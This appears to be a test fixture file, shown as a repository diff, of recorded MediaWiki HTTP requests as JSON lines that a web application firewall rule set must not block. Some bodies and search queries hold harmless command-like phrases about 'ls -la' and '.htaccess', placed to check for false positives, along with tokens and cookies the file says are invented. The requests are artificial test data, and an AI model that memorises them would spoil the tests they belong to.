{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 237"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\",\"note\":\"python3 and powershell scripts that edit .htaccess\",\"fields_attributes\":[{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}\n"}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 169"], "body": "{\"note\":\"ls -la shows the .htaccess file\",\"fields_attributes\":[{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}\n"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 174", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dawn_walks&email=dawn_walks%40example.com&password=ls+-la+shows+the+.htaccess+file&agreement=true&locale=en&reason=python3+and+powershell+scripts+that+edit+.htaccess"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 142", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dusk_walks&email=dusk_walks%40example.com&password=river+walk+at+dawn&agreement=true&locale=en&reason=ls+-la+shows+the+.htaccess+file"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 203"], "body": "{\"username\":\"evening_walks\",\"email\":\"evening_walks@example.com\",\"password\":\"ls -la shows the .htaccess file\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"python3 and powershell scripts that edit .htaccess\"}\n"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 167"], "body": "{\"username\":\"night_walks\",\"email\":\"night_walks@example.com\",\"password\":\"river walk at dawn\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"ls -la shows the .htaccess file\"}\n"}
+671
View File
@@ -0,0 +1,671 @@
# Ordinary MediaWiki 1.46 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a wiki driven by a headless Chrome and
# an API client. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/images/README", "headers": ["Host: example.com", "User-Agent: MediaWiki/1.46.2 (https://\ud83c\udf3b.invalid)"], "body": ""}
{"method": "GET", "target": "/wiki/Main_Page", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=3x4w7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Main_Page&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.action.history.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.history%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mqik", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:RecentChanges", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6mcou", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Random", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.typeaheadSearch%7Cmediawiki.skinning.typeaheadSearch%7Cskins.vector.search%7Cvue&skin=vector-2022&version=1f1tf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.special.search.styles%7Cmediawiki.widgets.SearchInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2CsearchSuggest%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.search%7Cmediawiki.widgets.SearchInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-interactions%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=j0mv5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls+-la&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
